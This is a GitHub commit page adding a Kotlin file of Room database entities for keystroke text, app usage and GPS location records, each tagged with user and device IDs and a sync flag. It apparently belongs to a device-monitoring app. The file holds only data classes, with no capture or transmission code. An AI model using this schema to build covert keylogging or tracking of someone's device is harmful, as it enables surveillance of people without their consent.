Skip to content

Commit edf4449

Browse files
authored
Create KeystrokeData.kt
1 parent 06e2853 commit edf4449

1 file changed

Lines changed: 46 additions & 0 deletions

File tree

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.github.muneebwanee.dash.data.model
2+
3+
import androidx.room.Entity
4+
import androidx.room.PrimaryKey
5+
import kotlinx.serialization.Serializable
6+
7+
@Entity(tableName = "keystroke_data")
8+
@Serializable
9+
data class KeystrokeData(
10+
@PrimaryKey(autoGenerate = true)
11+
val id: Long = 0,
12+
val text: String,
13+
val packageName: String?,
14+
val timestamp: Long,
15+
val userId: String,
16+
val deviceId: String,
17+
val isSynced: Boolean = false
18+
)
19+
20+
@Entity(tableName = "app_usage_data")
21+
@Serializable
22+
data class AppUsageData(
23+
@PrimaryKey(autoGenerate = true)
24+
val id: Long = 0,
25+
val packageName: String,
26+
val appName: String?,
27+
val timestamp: Long,
28+
val duration: Long = 0,
29+
val userId: String,
30+
val deviceId: String,
31+
val isSynced: Boolean = false
32+
)
33+
34+
@Entity(tableName = "location_data")
35+
@Serializable
36+
data class LocationData(
37+
@PrimaryKey(autoGenerate = true)
38+
val id: Long = 0,
39+
val latitude: Double,
40+
val longitude: Double,
41+
val accuracy: Float,
42+
val timestamp: Long,
43+
val userId: String,
44+
val deviceId: String,
45+
val isSynced: Boolean = false
46+
)

0 commit comments

Comments
 (0)